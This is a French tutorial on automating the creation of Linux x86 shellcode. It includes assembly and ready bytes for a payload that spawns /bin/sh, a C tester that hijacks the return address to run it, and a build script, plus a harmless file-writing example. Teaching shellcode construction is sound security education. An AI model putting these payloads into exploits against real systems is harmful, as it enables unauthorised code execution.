Automatisation de la conception de shellcodes

Rédacteur : Trance

Date de création : 01/07/2006

Section : Sécurité > Shellcodes

Pour lire cet article, il est préférable d'avoir lu le premier article, intitulé "Les shellcodes". En effet, je m'adresse ici à ceux qui savent ce qu'est un shellcode et comment en concevoir manuellement. Dans cet article, nous verrons comment simplifier et automatiser la conception de shellcodes, en codant de petits outils très pratiques, qui nous éviteront pas mal de travail...

Sommaire

Introduction

Maintenant que la conception de shellcodes vous est familière, notre but va être de passer "à la vitesse supérieure", c'est à dire d'augmenter le rendement... Vous connaissez les étapes menant à la réalisation d'un shellcode. Ici, puisque nous sommes fénéants, nous allons tenter d'en automatiser quelques unes, et même d'en sauter. Notre but va être la réalisation d'un outil qui, à partir d'un programme ASM donné, nous donne le shellcode correspondant, et le teste pour nous.

1. Convertisseur ASM > Shellcode

Nous supposons tout d'abord que nous savons coder en ASM notre programme. En effet, essayer d'automatiser l'étape C > ASM est relativement complexe, étant donné que toutes les fonctions C n'ont pas le même type d'équivalent en ASM. Nous allons donc sauter la première étape (coder le programme de base en C) ainsi que la troisième (recoder le programme en C avec syscall). En effet, la troisième étape est inutile et ne sert qu'a vérifier le focntionnement du

syscall. La première n'est pas très utile non plus vu qu'elle ne nous permettra pas de générer directement le shellcode. En fait, elle ne sert que si l'on ne connaît pas à l'avance les numéro des syscalls. Nous commecerons donc par la programmation ASM du programme, avec syscall.

Nous allons nous baser sur l'exemple très original d'un shellcode exécutant un shell... Voici le code ASM correspondant, que nous avons déja vu dans le premier article (et auquel je vous renvoie si vous ne comprenez pas) :

```
//asm.s

.text
.globl sh

sh:
xorl %eax,%eax
xorl %ebx,%ebx
xorl %ecx,%ecx
xorl %edx,%edx

push %edx
push $0x68732f6e
push $0x69622f2f
mov %esp,%ebx
push %edx
push %ebx

mov %esp,%ecx

mov $11,%al
int $0x80

.string ""
```

Nous avons rajouté quelques petites choses. Nous verrons cela juste après. Comme nous l'avons dit, notre objectif est maintenant de générer le shellcode. Pour cela, nous allons coder un programme qui va effectuer toutes les tâches que nous avons à faire.

Codons le programme `makeshellcode.c` qui va utiliser le programme que nous venons d'écrire :

```
//makeshellcode.c

void sh();
```

```
int main()
{
  char * ptr = (char *) sh;
  printf("char shellcode[] = \n\"");

  while(*ptr != 0)
  {
  printf("\\x%.2x",*ptr & 0xff);
  ptr++;
}

printf("\";\n");
}
```

On remarque que l'on adéfinit une fonction sh() qui n'a pas l'air de servir. Mais en fait, elle va nous servir lorsque nous allons compiler le programme. En effet, elle porte le meme nom que l'étiquette se situant au dessus du programme `asm.s`. Nous allons compiler ces deux programmes ensemble, ce qui va remplacer le prototype de sh() par le contenu de notre programme ASM. De même, l'instruction `.string ""` du programme `asm.s` sert à introduire un octet nul dans le shellcode, ce qui indique sa fin.

Pour vérifier, nous pouvons tester :

```
trance@trancebox:~/shellcodes_auto$ gcc -o makeshellcode asm.s
makeshellcode.c

trance@trancebox:~/shellcodes_auto$ ./makeshellcode
char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f
\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
```

Et voila notre shellcode ! Cette méthode est vraiment plus rapide que celle que nous avions vu dans l'article précédent.

Pourquoi avoir écrit du code C à l'écran ? Pour la suite, nous allons en fait rediriger la sortie du programme dans un fichier... Ceci afin d'automatiser encore plus le processus.

2. Testeur de shellcode

Nous allons reprendre la sortie de `makeshellcode.c` afin de tester notre shellcode. Imaginons que cette sortie se trouve dans un fichier "shellcode.h".

Codons désormais un programme qui teste le shellcode ! Ce programme ressemblera comme deux gouttes d'eau au programme de test que nous avons vu dans l'article précédent.

```
//testshellcode.c

#include "shellcode.h"

int main()
{
printf("taille : %d\n",sizeof(shellcode)-1);
int *ret;
*( (int *) &ret + 2) = (int) shellcode;
}
```

Maintenant, testons :

```
trance@trancebox:~/shellcodes_auto$ ./makeshellcode > shellcode.h
trance@trancebox:~/shellcodes_auto$ gcc -o testshellcode testshellcode.c
trance@trancebox:~/shellcodes_auto$ ./testshellcode

taille : 29
sh-2.05b$
```

Impeccable, le programme fonctionne comme prévu. Maintenant, il ne nous reste plus qu'a automatiser l'exécution de ces deux programmes !

3. La totale

Cette fois çi, le plus dur est fait. Nous allons laisser tomber le C, nous n'en avons plus besoin. Comme tout ce que nous avons à faire est juste une automatisation de lancements de programmes, nous allons utiliser le shell Linux ! C'est parti :

```
trance@trancebox:~/shellcodes_auto$ cat doall

#!/bin/sh

if [ $# == 1 ]
then
        gcc -o makeshellcode $1 makeshellcode.c
        ./makeshellcode
        ./makeshellcode > shellcode.h
        gcc -o testshellcode testshellcode.c
```

```
        ./testshellcode
else
        echo Utilisation : ./doall \<programme.s\>
fi
trance@trancebox:~/shellcodes_auto$ chmod u+x ./doall
trance@trancebox:~/shellcodes_auto$ ./doall
Utilisation : ./doall <programme.s>
trance@trancebox:~/shellcodes_auto$ ./doall asm.s
char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f
\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
taille : 29
sh-2.05b$ exit

trance@trancebox:~/shellcodes_auto$
```

Et voila ! Maintenant, pour réaliser un shellcode, vous n'aurez plus qu'à coder le programme en ASM et à lancer cette commande, pour peu que `makeshellcode.c`, `testshellcode.c` et `doall` soient dans le même répertoire.

4. Shellcode écrivant dans un fichier

Nous allons utiliser le dernier programme et re-vérifier son fonctionnement en créant un shellcode qui écrit "coucou" dans un fichier texte. On commence par coder le programme en C.

```
trance@trancebox:~/shellcodes_auto/coucou$ cat coucou.c
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>

#include <fcntl.h>

int main()
{
  int fd;
  fd = open("coucou.txt",O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR |
S_IRGRP | S_IROTH);
  write(fd,"coucou\n",7);
  close(fd);
  exit(0);
}
trance@trancebox:~/shellcodes_auto/coucou$ gcc -o coucou coucou.c
trance@trancebox:~/shellcodes_auto/coucou$ ls
```

```
coucou  coucou.c
trance@trancebox:~/shellcodes_auto/coucou$ ./coucou
trance@trancebox:~/shellcodes_auto/coucou$ ls
coucou  coucou.c  coucou.txt
trance@trancebox:~/shellcodes_auto/coucou$ cat coucou.txt

coucou
trance@trancebox:~/shellcodes_auto/coucou$
```

Il est vrai que nous aurions pu gagner de la place en supprimant l'appel à close. Mais le but est ici de comprendre, donc nous coderons proprement à but didactique :-). Maintenant, nous récupérons les appels systèmes.

```
trance@trancebox:~/shellcodes_auto/coucou$ rm coucou.txt
rm: détruire un fichier protégé en écriture fichier régulier `coucou.txt'? y
trance@trancebox:~/shellcodes_auto/coucou$ gcc -o coucou coucou.c
trance@trancebox:~/shellcodes_auto/coucou$ strace ./coucou

...
open("coucou.txt", O_WRONLY|O_CREAT, 027777775524) = 3
write(3, "coucou\n", 7)                 = 7
close(3)                                = 0
exit_group(0)                           = ?
```

Ceux qui nous intéressent sont les quatre derniers. On récupère leur numéro :

```
trance@trancebox:~/shellcodes_auto/coucou$ more /usr/include/asm/unistd.h |
grep open
#define __NR_open               5
static inline _syscall3(int,open,const char *,file,int,flag,int,mode)
trance@trancebox:~/shellcodes_auto/coucou$ more /usr/include/asm/unistd.h |
grep write

#define __NR_write              4
#define __NR_writev             146
#define __NR_pwrite64           181
static inline _syscall3(int,write,int,fd,const char *,buf,off_t,count)
trance@trancebox:~/shellcodes_auto/coucou$ more /usr/include/asm/unistd.h |
grep close
#define __NR_close              6
static inline _syscall1(int,close,int,fd)
trance@trancebox:~/shellcodes_auto/coucou$ more /usr/include/asm/unistd.h |
grep exit
#define __NR_exit               1
```

```
#define __NR_exit_group        252
 * would use the stack upon exit from 'fork()'.
#define __NR__exit __NR_exit
static inline _syscall1(int,_exit,int,exitcode)
```

A-t-on tous les arguments de chaque syscall ? Non, car on ne sait pas combien valent les constantes O_WRONLY, O_CREAT, etc. Nous allons donc interroger le système pour le savoir.

```
trance@trancebox:~/shellcodes_auto/coucou$ cat const.c
#include < sys/types.h>
#include < sys/stat.h>
#include < unistd.h>

#include < fcntl.h>

int main()
{
        printf("%d\n%d\n", (O_WRONLY | O_CREAT), (S_IRUSR | S_IWUSR |
S_IRGRP | S_IROTH));
}
trance@trancebox:~/shellcodes_auto/coucou$ gcc -o const const.c
trance@trancebox:~/shellcodes_auto/coucou$ ./const
65
420
```

C'est tout ce que nous voulions savoir. Maintenant, on recode le programme en assembleur.

```
//asm.s

.text
.globl sh

sh:
xorl %eax,%eax
xorl %ebx,%ebx
xorl %ecx,%ecx
xorl %edx,%edx

//5 : syscall d'open
mov $5,%al

jmp chainefichier
```

```
retour1:
popl %ebx

mov $65,%cl
mov $420,%dx

//Appel à open
int $0x80

xorl %ebx,%ebx

//On met la valeur du file descriptor dans ebx
mov %eax,%ebx

xorl %eax,%eax
xorl %ecx,%ecx
xorl %edx,%edx

//4 : syscall de write
mov $4,%al

jmp chaineaecrire
retour2:

popl %ecx

mov $7,%dl

//Appel à write
int $0x80

xorl %eax,%eax

//6 : syscall de close
mov $6,%al

//Appel à close
int $0x80

xorl %eax,%eax
xorl %ebx,%ebx

//1 : syscall d'exit
mov $1,%al
```

```
//Appel à exit
int $0x80


chaineaecrire:
call retour2
//"coucou\n"
.byte 0x63,0x6F,0x75,0x63,0x6F,0x75,0x0A


chainefichier:
call retour1
.string "coucou.txt"

.string ""
```

Pourquoi ne pas avoir déclaré "coucou\n" de manière directe avec `.string` ? Parce que cette instruction colle automatiquement un zéro terminale à la chaîne en question, et nous n'en voulons pas puisque la chaîne est au milieu du code, et cela risquerait de couper notre shellcode !

Notre programme *devrait* marcher. Pour les sceptiques :

```
trance@trancebox:~/shellcodes_auto/coucou$ as -o asm.o asm.s
trance@trancebox:~/shellcodes_auto/coucou$ ld -o asm asm.o
ld: AVERTISSEMENT: ne peut trouver le symbole d'entrée _start; utilise par
défaut 0000000008048074
trance@trancebox:~/shellcodes_auto/coucou$ rm coucou.txt
trance@trancebox:~/shellcodes_auto/coucou$ ls
asm  asm.o  asm.s  const  const.c  coucou  coucou.c
trance@trancebox:~/shellcodes_auto/coucou$ ./asm
trance@trancebox:~/shellcodes_auto/coucou$ ls

asm  asm.o  asm.s  const  const.c  coucou  coucou.c  coucou.txt
trance@trancebox:~/shellcodes_auto/coucou$ cat coucou.txt
coucou
trance@trancebox:~/shellcodes_auto/coucou$
```

Mais le but est justement de laisser tester tous nos outils que nous venons de coder… Le plus dur est fait ; maintenant, il ne nous reste plus qu'à admirer le travail qui se fait tout seul ! Mais pour ce faire, n'oublions pas de copier les trois outils que nous avons codé au préalable dans le dossier courant.

```
trance@trancebox:~/shellcodes_auto/coucou$ ls
```

```
asm  asm.o  asm.s  const  const.c  coucou  coucou.c
doall  makeshellcode.c  shellcode.h  testshellcode.c
trance@trancebox:~/shellcodes_auto/coucou$ ./doall asm.s
char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x05\xeb\x36\x5b\xb1\x41\x66
\xba\xa4\x01
\xcd\x80\x31\xdb\x89\xc3\x31\xc0\x31\xc9\x31\xd2\xb0\x04\xeb\x13
\x59\xb2\x07
\xcd\x80\x31\xc0\xb0\x06\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80
\xe8\xe8\xff
\xff\xff\x63\x6f\x75\x63\x6f\x75\x0a\xe8\xc5\xff\xff\xff\x63\x6f\x75\x63\x6f
\x75\x2e\x74\x78\x74";
taille : 81
trance@trancebox:~/shellcodes_auto/coucou$ ls
asm    asm.s  const.c  coucou.c    doall          makeshellcode.c  testshellcode
asm.o  const  coucou   coucou.txt  makeshellcode  shellcode.h
    testshellcode.c
trance@trancebox:~/shellcodes_auto/coucou$ cat coucou.txt

coucou
trance@trancebox:~/shellcodes_auto/coucou$
```

Admirez le travail. En une seule commande, notre programme a été assemblé, inspecté, et le shellcode a été construit. Et il marche ! Vu sa taille, imaginez le travail que nous aurions du faire si nous ne disposions pas de nos petits outils...

Conclusion

Nous avons fait le tour des techniques d'automatisation de création de shellcodes. Vous savez désormais comment créer un shellcode d'une manière assez rapide. Ensuite, pour gagner encore plus de temps, il faut encore plus de pratique...